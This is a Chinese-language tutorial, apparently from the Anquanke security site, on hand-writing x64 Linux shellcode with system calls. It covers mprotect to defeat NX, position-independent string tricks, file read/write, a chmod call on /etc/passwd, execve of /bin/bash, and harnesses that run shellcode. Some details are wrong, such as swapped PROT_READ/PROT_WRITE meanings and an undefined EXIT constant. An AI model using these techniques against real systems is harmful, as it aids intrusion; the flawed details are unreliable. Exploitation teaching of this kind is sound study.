本篇主要是以x64系統為例對系統調用中一些功能性函數的解讀和實際運用。目前網絡上流傳的通用shellcode,均使用系統調用實現,在記錄整個學習過程的同時分享給大家一起學習探討。
0x01 Shellcode 簡介
0x1 shellcode
Shellcode 是一段可以執行特定功能的特殊匯編代碼,在設備漏洞利用過程中注入到目標程序中從而被執行,在比賽或者是實戰中棧溢出漏洞使用的更為頻繁,編寫Shellcode比編寫RopGagdet更為簡單,棧溢出的最經典的利用方式是Ret2Shellcode。
0x2 exploit 與 shellcode關系
exploit主要強調執行控制權,而shellcode更關注于有了控制權之后的功能。因此shellcode更像是exploit的載荷,往往對于不同漏洞來講exploit是特殊的,而shellcode會具有一些通用性。
0x02 使用條件
對 shellcode 有了大概的了解之后,看一看其使用場景。一般來說這三點是必備條件,缺一不可,通過控制程序流程跳轉到shellcode地址上去。
0x1 擁有程序控制權
這一點毋庸置疑,可以通過棧溢出或者是格式化字符串,堆溢出等漏洞劫持程序的執行流。所以shellcode等的定位是漏洞觸發之后的漏洞利用,主要負責實現攻擊者的攻擊目的。
0x2 擁有shellcode地址
不論是程序擁有隨機化還是固定基地址,都需要在跳轉之前獲取shellcode存儲地址,一般采用的技巧是
- 在程序bss段固定,且程序地址不隨機
- shellcode為程序正常功能輸入,在寄存器中保存有其地址
- 在堆棧附近存在與shellcode地址相關聯地址
0x3 shellcode在可執行內存空間
最后跳轉到shellcode地址上后需要有可執行權限才能執行。但通常程序開啟NX保護后,其內存空間禁止代碼執行,這是只能通過mprotect函數修改shellcode內存權限,賦予可執行權限后再跳轉。一般利用 RopGagdet 布局mprotect 函數修改內存權限。
重點關注兩個方面 start地址和prot取值
1 起始地址
需要指出的是,鎖指定的內存區間必須包含整個內存頁(4K)。區間開始的地址start必須是一個內存頁的起始地址,并且區間長度len必須是頁大小的整數倍。
2 prot賦值
prot可以取以下幾個值,并且可以用“|”將幾個屬性合起來使用,括號中的數字是在預編譯的時候替換的真實值:
1)PROT_READ(1):表示內存段內的內容可寫;
2)PROT_WRITE(2):表示內存段內的內容可讀;
3)PROT_EXEC(4):表示內存段中的內容可執行;
4)PROT_NONE(0):表示內存段中的內容根本沒法訪問。
0x03 編寫技巧
打算從系統調用函數、字符串設計、代碼模板、shellcode提取這幾個發面著手寫這部分內容,主要解決以下三大問題:
- 對系統調用函數不熟悉,特別是為參數賦值問題撓頭
- 對匯編代碼編寫不熟悉,解決寄存器和內存應用問題
- 對匯編代碼編譯不熟悉,解決怎么從編譯好的匯編程序中完整提取shellcode問題
0x1 系統調用函數
提到shellcode 就不得不說系統調用,我們首先考慮為什么要寫shellcode,其目的是執行一些程序本身不具備的功能,實現攻擊者的攻擊目的。湊巧的是在匯編語言中有這么一些函數調用基本可以實現所有功能,我們稱他們為系統調用函數,通過系統調用可以直接訪問系統內核,具有非常強大的功能。
詳細的系統調用表網址如下
https://filippo.io/linux-syscall-table/
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/9.4_linux_syscall.html
系統調用 在匯編代碼中表示為syscall(int 0x80)指令,32和64位系統有所區別,二者有單獨調用表。
0x2 巧取字符串
初步認識shellcode的編寫技巧,先從最簡單的例子看起,下面代碼如果當作匯編語言執行是完全沒有問題的,但是如果做為shellcode的話還是差點火候。這里用兩種方法規避這種錯誤:
section .data
WRITE equ 1
EXIT equ 60
MESSAGE db "Hello", 0xa
section .text
global _start
_start:
mov rax, WRITE
mov rdi, 1
mov rsi, MESSAGE
mov rdx, 5
syscall
jmp exit
exit:
mov rax, EXIT
mov rdi, 0
syscall
編譯指令如下
nasm -g -f elf64 -o asm.o asm.s
ld -o asm asm.o
編譯過后可以發現字符串位于data段,指針利用的是絕對地址,在shellcode中是不能出現絕對地址,這也是shellcode的頭等大忌。
1 方法一
利用call指令壓棧的特性,將字符串的地址壓棧之后再pop到寄存器中,在shellcode編寫中是一種非常常用的方法。我們可以看到字符串緊跟在call指令之后,因為call壓棧就是壓的下一條指令的地址,此地址正好為字符串地址。
section .data
WRITE equ 1
EXIT equ 60
section .text
global _start
_start:
mov rax, WRITE
mov rdi, 1
jmp getstring
string:
pop rsi
mov rdx, 5
syscall
jmp exit
getstring:
call string
MESSAGE db "Hello", 0xa
exit:
mov rax, EXIT
mov rdi, 0
syscall
2 方法二
同時也是利用棧的特性,將字符串計算過大小,以及分割完畢之后就可以分撥壓進棧中,保存最后的esp值就可以實現字符串地址的獲取。
section .data
WRITE equ 1
EXIT equ 60
MESSAGE db "Hello", 0xa
section .text
global _start
_start:
mov rax, WRITE
mov rdi, 1
mov rsi,0x00000a6f6c6c6548
push rsi
mov rsi, rsp
mov rdx, 5
syscall
jmp exit
exit:
mov rax, EXIT
mov rdi, 0
syscall
0x3 文件讀
1 sys_open
文件讀寫都需要涉及打開文件操作,是通過內核提供的系統調用sys_open來實現的。具體參數如下:
asmlinkage long sys_open(const char __user *filename, int flags, int mode)
這里需要注意在文件操作之后,需要利用close函數關閉文件描述符。分別介紹flags和mode參數取值,flags表示在打開文件時標志屬性,mode為在創建文件的時候文件屬性。
flags
表示只讀、只寫和創建。如果想賦予多個屬性可以用|鏈接類似于 O_WRONLY|O_CREAT
mode
mode 相關取值表如下,值得注意是mode的表示為8進制,也就是說 777 的rwxrwxrwx 權限是8進制數。用下面的 屬性標示為 S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IWGRP|S_IXGRP|S_IROTH|S_IWOTH|S_IXOTH
打開文件用匯編表示為
section .data
OPEN equ 2
EXIT equ 60
FILENAME db "test", 0x00
section .text
global _start
_start:
mov rax, OPEN
mov rdi, FILENAME
mov rsi, 2
mov rdx, 666
syscall
jmp exit
exit:
mov rax, EXIT
mov rdi, 0
syscall
2 sys_read
section .data
OPEN equ 2
READ equ 0
EXIT equ 60
FILENAME db "xxx", 0x00
BUFFER db "11111"
section .text
global _start
_start:
mov rax, OPEN
mov rdi, FILENAME
mov rsi, 2
mov rdx, 511
syscall
mov rdi, rax
mov rax, READ
mov rsi, BUFFER
mov rdx, 8
syscall
mov rax, EXIT
mov rdi, 0
syscall
上述代碼中xxx為二進制文件,如下圖成功讀出elf內容:
0x4 文件寫
open 操作與之前一樣,新增write操作,相關系統調用參數如下:
section .data
OPEN equ 2
EXIT equ 60
FILENAME db "hehe", 0x00
section .text
global _start
_start:
mov rax, OPEN
mov rdi, FILENAME
mov rsi, 65
mov rdx, 511
syscall
mov rdi, rax
jmp wirte
wirte:
mov rsi, FILENAME
mov rdx, 4
syscall
jmp exit
exit:
mov rax, EXIT
mov rdi, 0
syscall
0x5 權限修改
在linux中權限修改利用chmod指令,在系統調用的時候采用的sys_chmod函數
在分析open函數時有討論mode的取值,這里就不再分析
有時在shellcode中需要修改程序的權限
#include <sys/types.h>
#include <sys/stat.h>
main()
{
chmod("/etc/passwd", S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
}
section .data
CHMOD equ 90
EXIT equ 60
FILENAME db "xxx", 0x00
section .text
global _start
_start:
mov rax, CHMOD
mov rdi, FILENAME
mov rsi, 511
syscall
mov rax, EXIT
mov rdi, 0
syscall
0x6 命令執行
system函數中的命令執行用的是syscall execve系統調用。其參數格式如下
調試system函數內部的參數調用可以看出rax是系統調用號,rdi是filename,rsi是字符串數組
字符串數組內存布局如下
section .data
EXECVE equ 59
FILENAME db "/bin/bash", 0x00
section .text
global _start
_start:
mov rax, EXECVE
mov rdi, FILENAME
mov rsi, 0
mov rdx, 0
syscall
mov rax, EXIT
mov rdi, 0
syscall
0x7 shellcode 提取技巧
這里參照 https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump
objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' ' | tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
0x04 驗證技巧
走到這一步的大哥們都已經編好了自己的shellcode,開始磨刀霍霍向牛羊了,這里介紹兩種常用的檢查shellcode功能的方法,內聯匯編和函數指針。
0x0 關閉棧不可執行
因為在測試時,shellcode在bss段,在關閉NX編譯選項之后bss段也擁有了可執行屬性,具體操作如下。
注意在編譯的時候加上 -z execstack
gcc -o test test.c -z execstack
0x1 內聯匯編
在linux 下的C語言中主要采用的是 att格式的匯編,這里有個坑,一開始沒接觸c內聯att格式匯編的小盆友們要注意了jmp eax的寫法為jmp *%rax
#include<stdio.h>
char shellcode[] = "xb8x01x00x00x00xbfx01x00x00x00xebx0ax5exbax05x00x00x00x0fx05xebx0bxe8xf1xffxffxffx48x65x6cx6cx6fx0axb8x3cx00x00x00xbfx00x00x00x00x0fx05";
int main(int argc, char **argv)
{
__asm__("lea shellcode,%eax;jmp *%rax");
return 0;
}
如圖中代碼所示,rip已經指向jmp rax指令此時的rax就是shellcode那段字符串的地址。因為這段內存擁有可執行,最后成功執行shellcode。
0x2 函數指針
第二種方法大同小異,也是將shellcode放在程序的bss段上,利用之前的編譯指令編好后調試。
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "xb8x01x00x00x00xbfx01x00x00x00xebx0ax5exbax05x00x00x00x0fx05xebx0bxe8xf1xffxffxffx48x65x6cx6cx6fx0axb8x3cx00x00x00xbfx00x00x00x00x0fx05";
int main(void)
{
int (*func)() = (int(*)())shellcode;
func();
}
在上述匯編代碼中可以看出將shellcode 的地址賦值給了rdx寄存器,后續直接call調用。
0x05 總結
簡單的記錄了常見shellcode功能編寫測試方法,本文介紹的還是比較寬泛,也只針對64位系統進行分析,之后會把其他架構還有x86的利用方式慢慢補齊,還請大佬們多指點指點。
0x06 參考文獻
https://filippo.io/linux-syscall-table/
https://xz.aliyun.com/t/2052
http://www.vividmachines.com/shellcode/shellcode.html
https://blog.csdn.net/littlehedgehog/article/details/2653743
歡迎登錄安全客 -有思想的安全新媒體www.anquanke.com/加入交流群113129131 獲取更多最新資訊
原文鏈接: https://www.anquanke.com/post/id/216207